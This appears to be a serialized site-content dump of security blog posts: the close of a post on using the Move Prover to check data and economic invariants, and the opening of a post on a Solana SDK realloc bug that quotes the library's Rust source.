codebase.",{"type":25,"tag":26,"props":26228,"children":26229},{},[26230,26232,26239],{"type":30,"value":26231},"For example, in our work with ",{"type":25,"tag":83,"props":26233,"children":26236},{"href":26234,"rel":26235},"https://laminar.markets/",[9066],[26237],{"type":30,"value":26238},"Laminar Markets",{"type":30,"value":26240},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":25,"tag":247,"props":26242,"children":26244},{"id":26243},"data-invariants",[26245],{"type":30,"value":26246},"Data Invariants",{"type":25,"tag":26,"props":26248,"children":26249},{},[26250,26252,26258,26260,26266,26268,26274,26276,26282],{"type":30,"value":26251},"Formal verification provides the best environment to verify that certain ",{"type":25,"tag":264,"props":26253,"children":26255},{"className":26254},[],[26256],{"type":30,"value":26257},"variables",{"type":30,"value":26259}," or ",{"type":25,"tag":264,"props":26261,"children":26263},{"className":26262},[],[26264],{"type":30,"value":26265},"resources",{"type":30,"value":26267}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":25,"tag":264,"props":26269,"children":26271},{"className":26270},[],[26272],{"type":30,"value":26273},"index",{"type":30,"value":26275}," is never greater than 4 using a ",{"type":25,"tag":264,"props":26277,"children":26279},{"className":26278},[],[26280],{"type":30,"value":26281},"struct invariant",{"type":30,"value":1860},{"type":25,"tag":7764,"props":26284,"children":26286},{"code":26285,"language":13585,"meta":7,"className":13586,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[26287],{"type":25,"tag":264,"props":26288,"children":26289},{"__ignoreMap":7},[26290,26306,26323,26330,26337,26352,26376],{"type":25,"tag":271,"props":26291,"children":26292},{"class":13593,"line":13594},[26293,26297,26302],{"type":25,"tag":271,"props":26294,"children":26295},{"style":14289},[26296],{"type":30,"value":22524},{"type":25,"tag":271,"props":26298,"children":26299},{"style":13609},[26300],{"type":30,"value":26301}," Type",{"type":25,"tag":271,"props":26303,"children":26304},{"style":13625},[26305],{"type":30,"value":16431},{"type":25,"tag":271,"props":26307,"children":26308},{"class":13593,"line":11641},[26309,26314,26318],{"type":25,"tag":271,"props":26310,"children":26311},{"style":13598},[26312],{"type":30,"value":26313},"    index",{"type":25,"tag":271,"props":26315,"children":26316},{"style":13603},[26317],{"type":30,"value":359},{"type":25,"tag":271,"props":26319,"children":26320},{"style":13609},[26321],{"type":30,"value":26322}," u64\n",{"type":25,"tag":271,"props":26324,"children":26325},{"class":13593,"line":14354},[26326],{"type":25,"tag":271,"props":26327,"children":26328},{"style":13625},[26329],{"type":30,"value":17058},{"type":25,"tag":271,"props":26331,"children":26332},{"class":13593,"line":14391},[26333],{"type":25,"tag":271,"props":26334,"children":26335},{"emptyLinePlaceholder":18},[26336],{"type":30,"value":16829},{"type":25,"tag":271,"props":26338,"children":26339},{"class":13593,"line":14400},[26340,26344,26348],{"type":25,"tag":271,"props":26341,"children":26342},{"style":13598},[26343],{"type":30,"value":21396},{"type":25,"tag":271,"props":26345,"children":26346},{"style":13609},[26347],{"type":30,"value":26301},{"type":25,"tag":271,"props":26349,"children":26350},{"style":13625},[26351],{"type":30,"value":16431},{"type":25,"tag":271,"props":26353,"children":26354},{"class":13593,"line":16406},[26355,26359,26364,26368,26372],{"type":25,"tag":271,"props":26356,"children":26357},{"style":13598},[26358],{"type":30,"value":21413},{"type":25,"tag":271,"props":26360,"children":26361},{"style":13598},[26362],{"type":30,"value":26363}," index",{"type":25,"tag":271,"props":26365,"children":26366},{"style":13603},[26367],{"type":30,"value":21839},{"type":25,"tag":271,"props":26369,"children":26370},{"style":16187},[26371],{"type":30,"value":24870},{"type":25,"tag":271,"props":26373,"children":26374},{"style":13625},[26375],{"type":30,"value":16165},{"type":25,"tag":271,"props":26377,"children":26378},{"class":13593,"line":16434},[26379],{"type":25,"tag":271,"props":26380,"children":26381},{"style":13625},[26382],{"type":30,"value":17058},{"type":25,"tag":26,"props":26384,"children":26385},{},[26386,26388,26395,26396,26402],{"type":30,"value":26387},"We were able to verify more complex properties in our recent audits for ",{"type":25,"tag":83,"props":26389,"children":26392},{"href":26390,"rel":26391},"https://layerzero.network/",[9066],[26393],{"type":30,"value":26394},"LayerZero",{"type":30,"value":12218},{"type":25,"tag":83,"props":26397,"children":26400},{"href":26398,"rel":26399},"http://ariesmarkets.xyz/",[9066],[26401],{"type":30,"value":19914},{"type":30,"value":26403},", but the details are left as an exercise to the reader.",{"type":25,"tag":247,"props":26405,"children":26407},{"id":26406},"economic-invariants",[26408],{"type":30,"value":26409},"Economic Invariants.",{"type":25,"tag":26,"props":26411,"children":26412},{},[26413],{"type":30,"value":26414},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":25,"tag":26,"props":26416,"children":26417},{},[26418],{"type":30,"value":26419},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":25,"tag":7764,"props":26421,"children":26422},{"code":21089,"language":13585,"meta":7,"className":13586,"style":7},[26423],{"type":25,"tag":264,"props":26424,"children":26425},{"__ignoreMap":7},[26426,26433,26516,26555,26574,26581,26596,26619,26642,26665],{"type":25,"tag":271,"props":26427,"children":26428},{"class":13593,"line":13594},[26429],{"type":25,"tag":271,"props":26430,"children":26431},{"style":14385},[26432],{"type":30,"value":21101},{"type":25,"tag":271,"props":26434,"children":26435},{"class":13593,"line":11641},[26436,26440,26444,26448,26452,26456,26460,26464,26468,26472,26476,26480,26484,26488,26492,26496,26500,26504,26508,26512],{"type":25,"tag":271,"props":26437,"children":26438},{"style":13598},[26439],{"type":30,"value":19695},{"type":25,"tag":271,"props":26441,"children":26442},{"style":13620},[26443],{"type":30,"value":21113},{"type":25,"tag":271,"props":26445,"children":26446},{"style":13625},[26447],{"type":30,"value":394},{"type":25,"tag":271,"props":26449,"children":26450},{"style":13598},[26451],{"type":30,"value":21122},{"type":25,"tag":271,"props":26453,"children":26454},{"style":13603},[26455],{"type":30,"value":359},{"type":25,"tag":271,"props":26457,"children":26458},{"style":13609},[26459],{"type":30,"value":18991},{"type":25,"tag":271,"props":26461,"children":26462},{"style":13625},[26463],{"type":30,"value":44},{"type":25,"tag":271,"props":26465,"children":26466},{"style":13598},[26467],{"type":30,"value":21139},{"type":25,"tag":271,"props":26469,"children":26470},{"style":13603},[26471],{"type":30,"value":359},{"type":25,"tag":271,"props":26473,"children":26474},{"style":13609},[26475],{"type":30,"value":18991},{"type":25,"tag":271,"props":26477,"children":26478},{"style":13625},[26479],{"type":30,"value":440},{"type":25,"tag":271,"props":26481,"children":26482},{"style":13603},[26483],{"type":30,"value":359},{"type":25,"tag":271,"props":26485,"children":26486},{"style":13625},[26487],{"type":30,"value":16213},{"type":25,"tag":271,"props":26489,"children":26490},{"style":13609},[26491],{"type":30,"value":21164},{"type":25,"tag":271,"props":26493,"children":26494},{"style":13625},[26495],{"type":30,"value":44},{"type":25,"tag":271,"props":26497,"children":26498},{"style":13609},[26499],{"type":30,"value":21164},{"type":25,"tag":271,"props":26501,"children":26502},{"style":13625},[26503],{"type":30,"value":14406},{"type":25,"tag":271,"props":26505,"children":26506},{"style":13598},[26507],{"type":30,"value":19472},{"type":25,"tag":271,"props":26509,"children":26510},{"style":13609},[26511],{"type":30,"value":21185},{"type":25,"tag":271,"props":26513,"children":26514},{"style":13625},[26515],{"type":30,"value":16431},{"type":25,"tag":271,"props":26517,"children":26518},{"class":13593,"line":14354},[26519,26523,26527,26531,26535,26539,26543,26547,26551],{"type":25,"tag":271,"props":26520,"children":26521},{"style":14289},[26522],{"type":30,"value":21197},{"type":25,"tag":271,"props":26524,"children":26525},{"style":13598},[26526],{"type":30,"value":21202},{"type":25,"tag":271,"props":26528,"children":26529},{"style":13603},[26530],{"type":30,"value":16155},{"type":25,"tag":271,"props":26532,"children":26533},{"style":13620},[26534],{"type":30,"value":21211},{"type":25,"tag":271,"props":26536,"children":26537},{"style":13625},[26538],{"type":30,"value":394},{"type":25,"tag":271,"props":26540,"children":26541},{"style":13598},[26542],{"type":30,"value":21122},{"type":25,"tag":271,"props":26544,"children":26545},{"style":13625},[26546],{"type":30,"value":44},{"type":25,"tag":271,"props":26548,"children":26549},{"style":13598},[26550],{"type":30,"value":21139},{"type":25,"tag":271,"props":26552,"children":26553},{"style":13625},[26554],{"type":30,"value":13665},{"type":25,"tag":271,"props":26556,"children":26557},{"class":13593,"line":14391},[26558,26562,26566,26570],{"type":25,"tag":271,"props":26559,"children":26560},{"style":13620},[26561],{"type":30,"value":21239},{"type":25,"tag":271,"props":26563,"children":26564},{"style":13625},[26565],{"type":30,"value":394},{"type":25,"tag":271,"props":26567,"children":26568},{"style":13598},[26569],{"type":30,"value":21248},{"type":25,"tag":271,"props":26571,"children":26572},{"style":13625},[26573],{"type":30,"value":16299},{"type":25,"tag":271,"props":26575,"children":26576},{"class":13593,"line":14400},[26577],{"type":25,"tag":271,"props":26578,"children":26579},{"style":13625},[26580],{"type":30,"value":19003},{"type":25,"tag":271,"props":26582,"children":26583},{"class":13593,"line":16406},[26584,26588,26592],{"type":25,"tag":271,"props":26585,"children":26586},{"style":13598},[26587],{"type":30,"value":21267},{"type":25,"tag":271,"props":26589,"children":26590},{"style":13598},[26591],{"type":30,"value":21113},{"type":25,"tag":271,"props":26593,"children":26594},{"style":13625},[26595],{"type":30,"value":16431},{"type":25,"tag":271,"props":26597,"children":26598},{"class":13593,"line":16434},[26599,26603,26607,26611,26615],{"type":25,"tag":271,"props":26600,"children":26601},{"style":13598},[26602],{"type":30,"value":21283},{"type":25,"tag":271,"props":26604,"children":26605},{"style":13598},[26606],{"type":30,"value":14302},{"type":25,"tag":271,"props":26608,"children":26609},{"style":13603},[26610],{"type":30,"value":1065},{"type":25,"tag":271,"props":26612,"children":26613},{"style":14289},[26614],{"type":30,"value":21296},{"type":25,"tag":271,"props":26616,"children":26617},{"style":13625},[26618],{"type":30,"value":16165},{"type":25,"tag":271,"props":26620,"children":26621},{"class":13593,"line":16447},[26622,26626,26630,26634,26638],{"type":25,"tag":271,"props":26623,"children":26624},{"style":13598},[26625],{"type":30,"value":21308},{"type":25,"tag":271,"props":26627,"children":26628},{"style":13598},[26629],{"type":30,"value":21313},{"type":25,"tag":271,"props":26631,"children":26632},{"style":13603},[26633],{"type":30,"value":21318},{"type":25,"tag":271,"props":26635,"children":26636},{"style":13598},[26637],{"type":30,"value":21323},{"type":25,"tag":271,"props":26639,"children":26640},{"style":13625},[26641],{"type":30,"value":16165},{"type":25,"tag":271,"props":26643,"children":26644},{"class":13593,"line":16465},[26645,26649,26653,26657,26661],{"type":25,"tag":271,"props":26646,"children":26647},{"style":13598},[26648],{"type":30,"value":21308},{"type":25,"tag":271,"props":26650,"children":26651},{"style":13598},[26652],{"type":30,"value":21339},{"type":25,"tag":271,"props":26654,"children":26655},{"style":13603},[26656],{"type":30,"value":21318},{"type":25,"tag":271,"props":26658,"children":26659},{"style":13598},[26660],{"type":30,"value":21348},{"type":25,"tag":271,"props":26662,"children":26663},{"style":13625},[26664],{"type":30,"value":16165},{"type":25,"tag":271,"props":26666,"children":26667},{"class":13593,"line":16486},[26668],{"type":25,"tag":271,"props":26669,"children":26670},{"style":13625},[26671],{"type":30,"value":19003},{"type":25,"tag":26,"props":26673,"children":26674},{},[26675],{"type":30,"value":26676},"Some other ideas include",{"type":25,"tag":661,"props":26678,"children":26679},{},[26680,26685,26690],{"type":25,"tag":112,"props":26681,"children":26682},{},[26683],{"type":30,"value":26684},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":25,"tag":112,"props":26686,"children":26687},{},[26688],{"type":30,"value":26689},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":25,"tag":112,"props":26691,"children":26692},{},[26693],{"type":30,"value":26694},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":25,"tag":96,"props":26696,"children":26697},{"id":18441},[26698],{"type":30,"value":18444},{"type":25,"tag":26,"props":26700,"children":26701},{},[26702],{"type":30,"value":26703},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":25,"tag":26,"props":26705,"children":26706},{},[26707],{"type":30,"value":26708},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":25,"tag":26,"props":26710,"children":26711},{},[26712,26714,26719],{"type":30,"value":26713},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":25,"tag":83,"props":26715,"children":26717},{"href":22364,"rel":26716},[9066],[26718],{"type":30,"value":22368},{"type":30,"value":1860},{"type":25,"tag":15963,"props":26721,"children":26722},{},[26723],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":26725},[26726,26727,26730,26737],{"id":22428,"depth":11641,"text":22431},{"id":22482,"depth":11641,"text":22485,"children":26728},[26729],{"id":22733,"depth":14354,"text":22729},{"id":25634,"depth":11641,"text":25637,"children":26731},[26732,26733,26734,26735,26736],{"id":25650,"depth":14354,"text":25653},{"id":25901,"depth":14354,"text":25904},{"id":26206,"depth":14354,"text":26209},{"id":26243,"depth":14354,"text":26246},{"id":26406,"depth":14354,"text":26409},{"id":18441,"depth":11641,"text":18444},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":26742,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":26743,"description":26744,"author":26745,"image":26746,"date":26749,"isFeatured":18,"onBlogPage":18,"tags":26750,"body":26751,"_type":16004,"_id":31864,"_source":16006,"_file":31865,"_stem":31866,"_extension":16009},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":26747,"height":26748,"width":17},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[16022,22392],{"type":22,"children":26752,"toc":31848},[26753,26781,26801,27467,27487,27498,27510,27643,27653,27659,27685,28026,28071,28398,28461,28474,28547,28615,28636,28649,28663,29012,29023,29028,29159,29210,29236,29248,29421,29557,29598,29635,29701,29706,29743,29797,29808,29951,29963,29969,29975,30008,30022,30144,30163,30191,30197,30287,30378,30384,30389,30435,30704,30779,30790,30817,31149,31161,31234,31506,31543,31844],{"type":25,"tag":26,"props":26754,"children":26755},{},[26756,26758,26764,26766,26771,26773,26779],{"type":30,"value":26757},"It all started with an audit of a program that used ",{"type":25,"tag":264,"props":26759,"children":26761},{"className":26760},[],[26762],{"type":30,"value":26763},"realloc",{"type":30,"value":26765}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":25,"tag":264,"props":26767,"children":26769},{"className":26768},[],[26770],{"type":30,"value":26763},{"type":30,"value":26772}," call (from ",{"type":25,"tag":264,"props":26774,"children":26776},{"className":26775},[],[26777],{"type":30,"value":26778},"solana_program",{"type":30,"value":26780},") would error out appropriately.",{"type":25,"tag":26,"props":26782,"children":26783},{},[26784,26786,26792,26793,26800],{"type":30,"value":26785},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":25,"tag":264,"props":26787,"children":26789},{"className":26788},[],[26790],{"type":30,"value":26791},"AccountInfo::realloc",{"type":30,"value":18632},{"type":25,"tag":83,"props":26794,"children":26797},{"href":26795,"rel":26796},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[9066],[26798],{"type":30,"value":26799},"implemented",{"type":30,"value":359},{"type":25,"tag":7764,"props":26802,"children":26804},{"className":13586,"code":26803,"language":13585,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[26805],{"type":25,"tag":264,"props":26806,"children":26807},{"__ignoreMap":7},[26808,26898,26932,26939,26947,26959,26967,27059,27092,27099,27107,27237,27268,27275,27282,27290,27324,27336,27385,27397,27426,27433,27440,27447,27460],{"type":25,"tag":271,"props":26809,"children":26810},{"class":13593,"line":13594},[26811,26815,26819,26824,26828,26832,26837,26841,26846,26850,26855,26859,26864,26868,26872,26876,26880,26884,26889,26894],{"type":25,"tag":271,"props":26812,"children":26813},{"style":14289},[26814],{"type":30,"value":14292},{"type":25,"tag":271,"props":26816,"children":26817},{"style":14289},[26818],{"type":30,"value":14297},{"type":25,"tag":271,"props":26820,"children":26821},{"style":13620},[26822],{"type":30,"value":26823}," realloc",{"type":25,"tag":271,"props":26825,"children":26826},{"style":13625},[26827],{"type":30,"value":394},{"type":25,"tag":271,"props":26829,"children":26830},{"style":13603},[26831],{"type":30,"value":13632},{"type":25,"tag":271,"props":26833,"children":26834},{"style":14289},[26835],{"type":30,"value":26836},"self",{"type":25,"tag":271,"props":26838,"children":26839},{"style":13625},[26840],{"type":30,"value":44},{"type":25,"tag":271,"props":26842,"children":26843},{"style":13598},[26844],{"type":30,"value":26845},"new_len",{"type":25,"tag":271,"props":26847,"children":26848},{"style":13603},[26849],{"type":30,"value":359},{"type":25,"tag":271,"props":26851,"children":26852},{"style":13609},[26853],{"type":30,"value":26854}," usize",{"type":25,"tag":271,"props":26856,"children":26857},{"style":13625},[26858],{"type":30,"value":44},{"type":25,"tag":271,"props":26860,"children":26861},{"style":13598},[26862],{"type":30,"value":26863},"zero_init",{"type":25,"tag":271,"props":26865,"children":26866},{"style":13603},[26867],{"type":30,"value":359},{"type":25,"tag":271,"props":26869,"children":26870},{"style":13609},[26871],{"type":30,"value":25175},{"type":25,"tag":271,"props":26873,"children":26874},{"style":13625},[26875],{"type":30,"value":14406},{"type":25,"tag":271,"props":26877,"children":26878},{"style":13603},[26879],{"type":30,"value":14411},{"type":25,"tag":271,"props":26881,"children":26882},{"style":13609},[26883],{"type":30,"value":14416},{"type":25,"tag":271,"props":26885,"children":26886},{"style":13625},[26887],{"type":30,"value":26888},"\u003C(), ",{"type":25,"tag":271,"props":26890,"children":26891},{"style":13609},[26892],{"type":30,"value":26893},"ProgramError",{"type":25,"tag":271,"props":26895,"children":26896},{"style":13625},[26897],{"type":30,"value":20404},{"type":25,"tag":271,"props":26899,"children":26900},{"class":13593,"line":11641},[26901,26905,26910,26914,26919,26923,26928],{"type":25,"tag":271,"props":26902,"children":26903},{"style":14289},[26904],{"type":30,"value":16140},{"type":25,"tag":271,"props":26906,"children":26907},{"style":13598},[26908],{"type":30,"value":26909}," orig_len",{"type":25,"tag":271,"props":26911,"children":26912},{"style":13603},[26913],{"type":30,"value":16155},{"type":25,"tag":271,"props":26915,"children":26916},{"style":14289},[26917],{"type":30,"value":26918}," self",{"type":25,"tag":271,"props":26920,"children":26921},{"style":13603},[26922],{"type":30,"value":1860},{"type":25,"tag":271,"props":26924,"children":26925},{"style":13620},[26926],{"type":30,"value":26927},"data_len",{"type":25,"tag":271,"props":26929,"children":26930},{"style":13625},[26931],{"type":30,"value":16820},{"type":25,"tag":271,"props":26933,"children":26934},{"class":13593,"line":14354},[26935],{"type":25,"tag":271,"props":26936,"children":26937},{"emptyLinePlaceholder":18},[26938],{"type":30,"value":16829},{"type":25,"tag":271,"props":26940,"children":26941},{"class":13593,"line":14391},[26942],{"type":25,"tag":271,"props":26943,"children":26944},{"style":14385},[26945],{"type":30,"value":26946},"    // realloc\n",{"type":25,"tag":271,"props":26948,"children":26949},{"class":13593,"line":14400},[26950,26955],{"type":25,"tag":271,"props":26951,"children":26952},{"style":14289},[26953],{"type":30,"value":26954},"    unsafe",{"type":25,"tag":271,"props":26956,"children":26957},{"style":13625},[26958],{"type":30,"value":16431},{"type":25,"tag":271,"props":26960,"children":26961},{"class":13593,"line":16406},[26962],{"type":25,"tag":271,"props":26963,"children":26964},{"style":14385},[26965],{"type":30,"value":26966},"        // First set new length in the serialized data\n",{"type":25,"tag":271,"props":26968,"children":26969},{"class":13593,"line":16434},[26970,26974,26979,26983,26987,26991,26996,27001,27005,27010,27014,27018,27023,27027,27031,27035,27039,27043,27047,27051,27055],{"type":25,"tag":271,"props":26971,"children":26972},{"style":14289},[26973],{"type":30,"value":16208},{"type":25,"tag":271,"props":26975,"children":26976},{"style":13598},[26977],{"type":30,"value":26978}," ptr",{"type":25,"tag":271,"props":26980,"children":26981},{"style":13603},[26982],{"type":30,"value":16155},{"type":25,"tag":271,"props":26984,"children":26985},{"style":14289},[26986],{"type":30,"value":26918},{"type":25,"tag":271,"props":26988,"children":26989},{"style":13603},[26990],{"type":30,"value":1860},{"type":25,"tag":271,"props":26992,"children":26993},{"style":13620},[26994],{"type":30,"value":26995},"try_borrow_mut_data",{"type":25,"tag":271,"props":26997,"children":26998},{"style":13625},[26999],{"type":30,"value":27000},"()",{"type":25,"tag":271,"props":27002,"children":27003},{"style":13603},[27004],{"type":30,"value":16273},{"type":25,"tag":271,"props":27006,"children":27007},{"style":13620},[27008],{"type":30,"value":27009},"as_mut_ptr",{"type":25,"tag":271,"props":27011,"children":27012},{"style":13625},[27013],{"type":30,"value":27000},{"type":25,"tag":271,"props":27015,"children":27016},{"style":13603},[27017],{"type":30,"value":1860},{"type":25,"tag":271,"props":27019,"children":27020},{"style":13620},[27021],{"type":30,"value":27022},"offset",{"type":25,"tag":271,"props":27024,"children":27025},{"style":13625},[27026],{"type":30,"value":394},{"type":25,"tag":271,"props":27028,"children":27029},{"style":13603},[27030],{"type":30,"value":17459},{"type":25,"tag":271,"props":27032,"children":27033},{"style":16187},[27034],{"type":30,"value":17214},{"type":25,"tag":271,"props":27036,"children":27037},{"style":13625},[27038],{"type":30,"value":14406},{"type":25,"tag":271,"props":27040,"children":27041},{"style":14289},[27042],{"type":30,"value":21962},{"type":25,"tag":271,"props":27044,"children":27045},{"style":13603},[27046],{"type":30,"value":22940},{"type":25,"tag":271,"props":27048,"children":27049},{"style":14289},[27050],{"type":30,"value":16877},{"type":25,"tag":271,"props":27052,"children":27053},{"style":13609},[27054],{"type":30,"value":18991},{"type":25,"tag":271,"props":27056,"children":27057},{"style":13625},[27058],{"type":30,"value":16165},{"type":25,"tag":271,"props":27060,"children":27061},{"class":13593,"line":16447},[27062,27066,27071,27075,27080,27084,27088],{"type":25,"tag":271,"props":27063,"children":27064},{"style":13603},[27065],{"type":30,"value":20873},{"type":25,"tag":271,"props":27067,"children":27068},{"style":13598},[27069],{"type":30,"value":27070},"ptr",{"type":25,"tag":271,"props":27072,"children":27073},{"style":13603},[27074],{"type":30,"value":16155},{"type":25,"tag":271,"props":27076,"children":27077},{"style":13598},[27078],{"type":30,"value":27079}," new_len",{"type":25,"tag":271,"props":27081,"children":27082},{"style":14289},[27083],{"type":30,"value":21948},{"type":25,"tag":271,"props":27085,"children":27086},{"style":13609},[27087],{"type":30,"value":18991},{"type":25,"tag":271,"props":27089,"children":27090},{"style":13625},[27091],{"type":30,"value":16165},{"type":25,"tag":271,"props":27093,"children":27094},{"class":13593,"line":16465},[27095],{"type":25,"tag":271,"props":27096,"children":27097},{"emptyLinePlaceholder":18},[27098],{"type":30,"value":16829},{"type":25,"tag":271,"props":27100,"children":27101},{"class":13593,"line":16486},[27102],{"type":25,"tag":271,"props":27103,"children":27104},{"style":14385},[27105],{"type":30,"value":27106},"        // Then set the new length in the local slice\n",{"type":25,"tag":271,"props":27108,"children":27109},{"class":13593,"line":16495},[27110,27114,27118,27122,27126,27130,27134,27139,27143,27147,27151,27155,27160,27165,27169,27173,27177,27181,27185,27189,27193,27197,27201,27205,27209,27213,27217,27221,27225,27229,27233],{"type":25,"tag":271,"props":27111,"children":27112},{"style":14289},[27113],{"type":30,"value":16208},{"type":25,"tag":271,"props":27115,"children":27116},{"style":13598},[27117],{"type":30,"value":26978},{"type":25,"tag":271,"props":27119,"children":27120},{"style":13603},[27121],{"type":30,"value":16155},{"type":25,"tag":271,"props":27123,"children":27124},{"style":13603},[27125],{"type":30,"value":14341},{"type":25,"tag":271,"props":27127,"children":27128},{"style":14289},[27129],{"type":30,"value":16877},{"type":25,"tag":271,"props":27131,"children":27132},{"style":13603},[27133],{"type":30,"value":22940},{"type":25,"tag":271,"props":27135,"children":27136},{"style":13625},[27137],{"type":30,"value":27138},"(((",{"type":25,"tag":271,"props":27140,"children":27141},{"style":14289},[27142],{"type":30,"value":26836},{"type":25,"tag":271,"props":27144,"children":27145},{"style":13603},[27146],{"type":30,"value":1860},{"type":25,"tag":271,"props":27148,"children":27149},{"style":13625},[27150],{"type":30,"value":10346},{"type":25,"tag":271,"props":27152,"children":27153},{"style":13603},[27154],{"type":30,"value":1860},{"type":25,"tag":271,"props":27156,"children":27157},{"style":13620},[27158],{"type":30,"value":27159},"as_ptr",{"type":25,"tag":271,"props":27161,"children":27162},{"style":13625},[27163],{"type":30,"value":27164},"() ",{"type":25,"tag":271,"props":27166,"children":27167},{"style":14289},[27168],{"type":30,"value":21962},{"type":25,"tag":271,"props":27170,"children":27171},{"style":13603},[27172],{"type":30,"value":22940},{"type":25,"tag":271,"props":27174,"children":27175},{"style":14289},[27176],{"type":30,"value":22778},{"type":25,"tag":271,"props":27178,"children":27179},{"style":13609},[27180],{"type":30,"value":18991},{"type":25,"tag":271,"props":27182,"children":27183},{"style":13625},[27184],{"type":30,"value":440},{"type":25,"tag":271,"props":27186,"children":27187},{"style":13603},[27188],{"type":30,"value":1860},{"type":25,"tag":271,"props":27190,"children":27191},{"style":13620},[27192],{"type":30,"value":27022},{"type":25,"tag":271,"props":27194,"children":27195},{"style":13625},[27196],{"type":30,"value":394},{"type":25,"tag":271,"props":27198,"children":27199},{"style":16187},[27200],{"type":30,"value":968},{"type":25,"tag":271,"props":27202,"children":27203},{"style":13625},[27204],{"type":30,"value":14406},{"type":25,"tag":271,"props":27206,"children":27207},{"style":14289},[27208],{"type":30,"value":21962},{"type":25,"tag":271,"props":27210,"children":27211},{"style":13609},[27212],{"type":30,"value":18991},{"type":25,"tag":271,"props":27214,"children":27215},{"style":13625},[27216],{"type":30,"value":14406},{"type":25,"tag":271,"props":27218,"children":27219},{"style":14289},[27220],{"type":30,"value":21962},{"type":25,"tag":271,"props":27222,"children":27223},{"style":13603},[27224],{"type":30,"value":22940},{"type":25,"tag":271,"props":27226,"children":27227},{"style":14289},[27228],{"type":30,"value":16877},{"type":25,"tag":271,"props":27230,"children":27231},{"style":13609},[27232],{"type":30,"value":18991},{"type":25,"tag":271,"props":27234,"children":27235},{"style":13625},[27236],{"type":30,"value":13665},{"type":25,"tag":271,"props":27238,"children":27239},{"class":13593,"line":16744},[27240,27244,27248,27252,27256,27260,27264],{"type":25,"tag":271,"props":27241,"children":27242},{"style":13603},[27243],{"type":30,"value":20873},{"type":25,"tag":271,"props":27245,"children":27246},{"style":13598},[27247],{"type":30,"value":27070},{"type":25,"tag":271,"props":27249,"children":27250},{"style":13603},[27251],{"type":30,"value":16155},{"type":25,"tag":271,"props":27253,"children":27254},{"style":13598},[27255],{"type":30,"value":27079},{"type":25,"tag":271,"props":27257,"children":27258},{"style":14289},[27259],{"type":30,"value":21948},{"type":25,"tag":271,"props":27261,"children":27262},{"style":13609},[27263],{"type":30,"value":18991},{"type":25,"tag":271,"props":27265,"children":27266},{"style":13625},[27267],{"type":30,"value":16165},{"type":25,"tag":271,"props":27269,"children":27270},{"class":13593,"line":16761},[27271],{"type":25,"tag":271,"props":27272,"children":27273},{"style":13625},[27274],{"type":30,"value":16501},{"type":25,"tag":271,"props":27276,"children":27277},{"class":13593,"line":16778},[27278],{"type":25,"tag":271,"props":27279,"children":27280},{"emptyLinePlaceholder":18},[27281],{"type":30,"value":16829},{"type":25,"tag":271,"props":27283,"children":27284},{"class":13593,"line":16791},[27285],{"type":25,"tag":271,"props":27286,"children":27287},{"style":14385},[27288],{"type":30,"value":27289},"    // zero-init if requested\n",{"type":25,"tag":271,"props":27291,"children":27292},{"class":13593,"line":16800},[27293,27297,27302,27307,27311,27316,27320],{"type":25,"tag":271,"props":27294,"children":27295},{"style":16171},[27296],{"type":30,"value":25404},{"type":25,"tag":271,"props":27298,"children":27299},{"style":13598},[27300],{"type":30,"value":27301}," zero_init",{"type":25,"tag":271,"props":27303,"children":27304},{"style":13603},[27305],{"type":30,"value":27306}," &&",{"type":25,"tag":271,"props":27308,"children":27309},{"style":13598},[27310],{"type":30,"value":27079},{"type":25,"tag":271,"props":27312,"children":27313},{"style":13603},[27314],{"type":30,"value":27315}," >",{"type":25,"tag":271,"props":27317,"children":27318},{"style":13598},[27319],{"type":30,"value":26909},{"type":25,"tag":271,"props":27321,"children":27322},{"style":13625},[27323],{"type":30,"value":16431},{"type":25,"tag":271,"props":27325,"children":27326},{"class":13593,"line":16823},[27327,27332],{"type":25,"tag":271,"props":27328,"children":27329},{"style":13620},[27330],{"type":30,"value":27331},"        